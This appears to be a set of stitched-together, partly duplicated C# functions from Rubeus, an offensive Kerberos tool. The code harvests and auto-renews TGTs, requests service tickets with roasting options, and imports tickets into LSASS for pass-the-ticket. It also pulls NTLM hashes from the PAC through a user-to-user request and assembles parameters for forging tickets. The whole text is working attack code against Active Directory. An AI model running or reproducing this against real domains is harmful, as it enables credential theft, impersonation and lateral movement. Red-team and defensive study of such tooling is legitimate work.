public void Execute(Dictionary <string, string> arguments)
{
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
private void AddTicketsToTicketCache(List <KRB_CRED> tickets, bool displayNewTickets)
{
// adds a list of KRB_CREDs to the internal cache
// displayNewTickets - display new TGTs as they're added, e.g. "monitor" mode
bool newTicketsAdded = false;
if (tickets == null)
{
throw new ArgumentNullException(nameof(tickets));
}
foreach (var ticket in tickets)
{
var newTgtBytes = Convert.ToBase64String(ticket.RawBytes);
var ticketInCache = false;
foreach (var cachedTicket in harvesterTicketCache)
{
// check the base64 of the raw ticket bytes to see if we've seen it before
if (Convert.ToBase64String(cachedTicket.RawBytes) == newTgtBytes)
{
ticketInCache = true;
break;
}
}
if (ticketInCache)
{
continue;
}
var endTime = TimeZone.CurrentTimeZone.ToLocalTime(ticket.enc_part.ticket_info[0].endtime);
if (endTime < DateTime.Now)
{
// skip if the ticket is expired
continue;
}
harvesterTicketCache.Add(ticket);
newTicketsAdded = true;
if (displayNewTickets)
{
Console.WriteLine($"\r\n[*] {DateTime.Now.ToUniversalTime()} UTC - Found new TGT:\r\n");
LSA.DisplayTicket(ticket, 2, true, true, false, this.nowrap);
}
}
if (displayNewTickets && newTicketsAdded)
{
Console.WriteLine("[*] Ticket cache size: {0}\r\n", harvesterTicketCache.Count);
}
}
private void RefreshTicketCache(bool display = false)
{
// goes through each ticket in the cache, removes any tickets that have expired
// and renews any tickets that are going to expire before the next check interval
// then displays the current "active" ticket cache if "display" is passed as true
if (display)
{
Console.WriteLine("\r\n[*] Refreshing TGT ticket cache ({0})\r\n", DateTime.Now);
}
for (var i = harvesterTicketCache.Count - 1; i >= 0; i--)
{
var endTime = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].endtime);
var renewTill = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].renew_till);
var userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0];
var domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm;
// check if the ticket has now expired
if (endTime < DateTime.Now)
{
Console.WriteLine("[!] Removing TGT for {0}@{1}\r\n", userName, domainName);
// remove the ticket from the cache
Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count);
harvesterTicketCache.RemoveAt(i);
Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count);
}
else
{
// check if the ticket is going to expire before the next interval checkin
// but we'll still be in the renew window
if ((endTime < DateTime.Now.AddSeconds(monitorIntervalSeconds)) && (renewTill > DateTime.Now.AddSeconds(monitorIntervalSeconds)))
{
// renewal limit after checkin interval, so renew the TGT
userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0];
domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm;
Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domainName);
var bytes = Renew.TGT(harvesterTicketCache[i], "", false, "", false);
var renewedCred = new KRB_CRED(bytes);
harvesterTicketCache[i] = renewedCred;
}
if (display)
{
LSA.DisplayTicket(harvesterTicketCache[i], 2, true, true, false, this.nowrap);
}
}
}
if (display)
{
Console.WriteLine("[*] Ticket cache size: {0}", harvesterTicketCache.Count);
}
}
public void Execute(Dictionary <string, string> arguments)
{
string kirbi64;
if (!arguments.TryGetValue("/ticket", out kirbi64))
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
if (Helpers.IsBase64String(kirbi64))
{
LSA.DisplayTicket(new KRB_CRED(Convert.FromBase64String(kirbi64)));
return;
}
if (File.Exists(kirbi64))
{
LSA.DisplayTicket(new KRB_CRED(File.ReadAllBytes(kirbi64)));
return;
}
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
return;
}
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false)
{
string dcIP = Networking.GetDCIP(domainController, display);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
if (display)
{
if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
{
Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType);
}
else
{
Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType);
}
Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast);
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
if (display)
{
Console.WriteLine("[+] TGS request successful!");
}
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
byte[] outBytes = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = rep.crealm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, new LUID());
}
if (display)
{
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
if (!String.IsNullOrEmpty(outfile))
{
outfile = Helpers.MakeValidFileName(outfile);
if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
{
if (display)
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
}
}
}
return(kirbiBytes);
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return(null);
}
public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false)
{
if ((ulong)luid != 0)
{
Console.WriteLine("[*] Target LUID : {0}", (ulong)luid);
}
string dcIP = Networking.GetDCIP(domainController, false);
if (String.IsNullOrEmpty(dcIP))
{
throw new RubeusException("[X] Unable to get domain controller address");
}
byte[] response = Networking.SendBytes(dcIP, 88, asReq.Encode().Encode());
if (response == null)
{
throw new RubeusException("[X] No answer from domain controller");
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 11)
{
if (verbose)
{
Console.WriteLine("[+] TGT request successful!");
}
// parse the response to an AS-REP
AS_REP rep = new AS_REP(responseAsn);
byte[] key;
if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq))
{
// generate the decryption key using Diffie Hellman shared secret
PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value;
key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0],
pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype));
}
else
{
// convert the key string to bytes
key = Helpers.StringToByteArray(asReq.keyString);
}
// decrypt the enc_part containing the session key/etc.
// TODO: error checking on the decryption "failing"...
byte[] outBytes;
if (etype == Interop.KERB_ETYPE.des_cbc_md5)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.rc4_hmac)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else
{
throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
}
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
if (verbose)
{
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
}
if (!String.IsNullOrEmpty(outfile))
{
outfile = Helpers.MakeValidFileName(outfile);
if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
{
if (verbose)
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
}
}
}
if (ptt || ((ulong)luid != 0))
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, luid);
}
if (describe)
{
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi);
}
return(kirbiBytes);
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
throw new KerberosErrorException("", error);
}
else
{
throw new RubeusException("[X] Unknown application tag: " + responseTag);
}
}
private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "")
{
// parse the response to an AS-REP
AS_REP rep = new AS_REP(responseAsn);
// convert the key string to bytes
byte[] key;
if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq))
{
// generate the decryption key using Diffie Hellman shared secret
PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value;
key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0],
pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype));
}
else
{
// convert the key string to bytes
key = Helpers.StringToByteArray(asReq.keyString);
}
// decrypt the enc_part containing the session key/etc.
// TODO: error checking on the decryption "failing"...
byte[] outBytes;
if (etype == Interop.KERB_ETYPE.des_cbc_md5)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.rc4_hmac)
{
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else
{
throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
}
AsnElt ae = AsnElt.Decode(outBytes);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
if (verbose)
{
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
}
if (!String.IsNullOrEmpty(outfile))
{
outfile = Helpers.MakeValidFileName(outfile);
if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
{
if (verbose)
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
}
}
}
if (ptt || ((ulong)luid != 0))
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, luid);
}
if (describe)
{
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(serviceKey) ? null : Helpers.StringToByteArray(serviceKey), key);
}
if (getCredentials)
{
Console.WriteLine("[*] Getting credentials using U2U\r\n");
byte[] u2uBytes = TGS_REQ.NewTGSReq(info.pname.name_string[0], info.prealm, info.pname.name_string[0], cred.tickets[0], info.key.keyvalue, (Interop.KERB_ETYPE)info.key.keytype, Interop.KERB_ETYPE.subkey_keymaterial, false, String.Empty, false, false, false, false, cred, "", true);
byte[] u2uResponse = Networking.SendBytes(dcIP, 88, u2uBytes);
if (u2uResponse == null)
{
return(null);
}
AsnElt u2uResponseAsn = AsnElt.Decode(u2uResponse);
// check the response value
int responseTag = u2uResponseAsn.TagValue;
if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
{
// parse the response to an TGS-REP and get the PAC
TGS_REP u2uRep = new TGS_REP(u2uResponseAsn);
EncTicketPart u2uEncTicketPart = u2uRep.ticket.Decrypt(info.key.keyvalue, key);
PACTYPE pt = u2uEncTicketPart.GetPac(key);
// look for the credential information and print
foreach (var pacInfoBuffer in pt.PacInfoBuffers)
{
if (pacInfoBuffer is PacCredentialInfo ci)
{
Console.WriteLine(" CredentialInfo :");
Console.WriteLine(" Version : {0}", ci.Version);
Console.WriteLine(" EncryptionType : {0}", ci.EncryptionType);
if (ci.CredentialInfo.HasValue)
{
Console.WriteLine(" CredentialData :");
Console.WriteLine(" CredentialCount : {0}", ci.CredentialInfo.Value.CredentialCount);
foreach (var credData in ci.CredentialInfo.Value.Credentials)
{
string hash = "";
if ("NTLM".Equals(credData.PackageName.ToString()))
{
int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0);
int flags = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4);
if (flags == 3)
{
hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
}
else
{
hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray()));
}
}
else
{
hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials);
}
Console.WriteLine(" {0} : {1}", credData.PackageName, hash);
}
}
else
{
Console.WriteLine(" CredentialData : *** NO KEY ***");
}
}
}
}
else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(u2uResponseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
}
return(kirbiBytes);
}
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false)
{
string dcIP = Networking.GetDCIP(domainController, display);
if (String.IsNullOrEmpty(dcIP))
{
return(null);
}
if (display)
{
if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
{
Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType);
}
else
{
Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType);
}
if (!String.IsNullOrEmpty(service))
{
Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
}
else if (u2u)
{
Console.WriteLine("[*] Building User-to-User TGS-REQ request for: '{0}'", userName);
}
else
{
Console.WriteLine("[*] Building TGS-REQ request");
}
}
// if /service is empty get name from the supplied /tgs
if (u2u && tgs != null && String.IsNullOrEmpty(service))
{
service = tgs.enc_part.ticket_info[0].pname.name_string[0];
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u);
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
if (response == null)
{
return(null);
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
{
if (display)
{
Console.WriteLine("[+] TGS request successful!");
}
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
byte[] outBytes = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// if using /opsec and the ticket is for a server configuration for unconstrained delegation, request a forwardable TGT
if (opsec && (!roast) && ((encRepPart.flags & Interop.TicketFlags.ok_as_delegate) != 0))
{
byte[] tgtBytes = TGS_REQ.NewTGSReq(userName, domain, string.Format("krbtgt/{0}", domain), providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast, opsec, true);
byte[] tgtResponse = Networking.SendBytes(dcIP, 88, tgtBytes);
}
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = rep.crealm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes, new LUID());
}
if (String.IsNullOrEmpty(servicekey) && u2u)
{
servicekey = Helpers.ByteArrayToString(clientKey);
}
if (display)
{
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
if (Rubeus.Program.wrapTickets)
{
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
}
else
{
Console.WriteLine(" {0}", kirbiString);
}
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
LSA.DisplayTicket(kirbi, 2, false, false, false, false,
string.IsNullOrEmpty(servicekey) ? null : Helpers.StringToByteArray(servicekey), string.IsNullOrEmpty(asrepkey) ? null : Helpers.StringToByteArray(asrepkey));
}
if (!String.IsNullOrEmpty(outfile))
{
outfile = Helpers.MakeValidFileName(outfile);
if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
{
if (display)
{
Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
}
}
}
if (!String.IsNullOrEmpty(servicekey) && printargs)
{
var decryptedEncTicket = cred.tickets[0].Decrypt(Helpers.StringToByteArray(servicekey), null);
PACTYPE pt = decryptedEncTicket.GetPac(null);
if (pt == null)
{
Console.WriteLine("[X] Unable to get the PAC");
return(kirbiBytes);
}
string outArgs = String.Empty;
foreach (var pacInfoBuffer in pt.PacInfoBuffers)
{
if (pacInfoBuffer is LogonInfo li)
{
outArgs = String.Format("/user:{0} /id:{1} /pgid:{2} /logoncount:{3} /badpwdcount:{4} /sid:{5} /netbios:{6}", li.KerbValidationInfo.EffectiveName, li.KerbValidationInfo.UserId, li.KerbValidationInfo.PrimaryGroupId, li.KerbValidationInfo.LogonCount, li.KerbValidationInfo.BadPasswordCount, li.KerbValidationInfo.LogonDomainId.GetValue(), li.KerbValidationInfo.LogonDomainName);
if (!String.IsNullOrEmpty(li.KerbValidationInfo.FullName.ToString()))
{
outArgs = String.Format("{0} /displayname:\"{1}\"", outArgs, li.KerbValidationInfo.FullName);
}
if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonScript.ToString()))
{
outArgs = String.Format("{0} /scriptpath:\"{1}\"", outArgs, li.KerbValidationInfo.LogonScript);
}
if (!String.IsNullOrEmpty(li.KerbValidationInfo.ProfilePath.ToString()))
{
outArgs = String.Format("{0} /profilepath:\"{1}\"", outArgs, li.KerbValidationInfo.ProfilePath);
}
if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectory.ToString()))
{
outArgs = String.Format("{0} /homedir:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectory);
}
if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectoryDrive.ToString()))
{
outArgs = String.Format("{0} /homedrive:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectoryDrive);
}
if (li.KerbValidationInfo.GroupCount > 0)
{
outArgs = String.Format("{0} /groups:{1}", outArgs, li.KerbValidationInfo.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next));
}
if (li.KerbValidationInfo.SidCount > 0)
{
outArgs = String.Format("{0} /sids:{1}", outArgs, li.KerbValidationInfo.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next));
}
if (li.KerbValidationInfo.ResourceGroupCount > 0)
{
outArgs = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", outArgs, li.KerbValidationInfo.ResourceGroupDomainSid.GetValue().ToString(), li.KerbValidationInfo.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next));
}
try
{
outArgs = String.Format("{0} /logofftime:\"{1}\"", outArgs, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogoffTime.LowDateTime | ((long)li.KerbValidationInfo.LogoffTime.HighDateTime << 32)).ToLocalTime());
}
catch { }
DateTime?passLastSet = null;
try
{
passLastSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordLastSet.LowDateTime | ((long)li.KerbValidationInfo.PasswordLastSet.HighDateTime << 32));
}
catch { }
if (passLastSet != null)
{
outArgs = String.Format("{0} /pwdlastset:\"{1}\"", outArgs, ((DateTime)passLastSet).ToLocalTime());
DateTime?passCanSet = null;
try
{
passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordCanChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordCanChange.HighDateTime << 32));
}
catch { }
if (passCanSet != null)
{
outArgs = String.Format("{0} /minpassage:{1}d", outArgs, (((DateTime)passCanSet) - ((DateTime)passLastSet)).Days);
}
DateTime?passMustSet = null;
try
{
passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordMustChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordMustChange.HighDateTime << 32));
}
catch { }
if (passMustSet != null)
{
outArgs = String.Format("{0} /maxpassage:{1}d", outArgs, (((DateTime)passMustSet) - ((DateTime)passLastSet)).Days);
}
}
if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonServer.ToString()))
{
outArgs = String.Format("{0} /dc:{1}.{2}", outArgs, li.KerbValidationInfo.LogonServer.ToString(), cred.tickets[0].realm);
}
if ((Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT)
{
outArgs = String.Format("{0} /uac:{1}", outArgs, String.Format("{0}", (Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl).Replace(" ", ""));
}
}
}
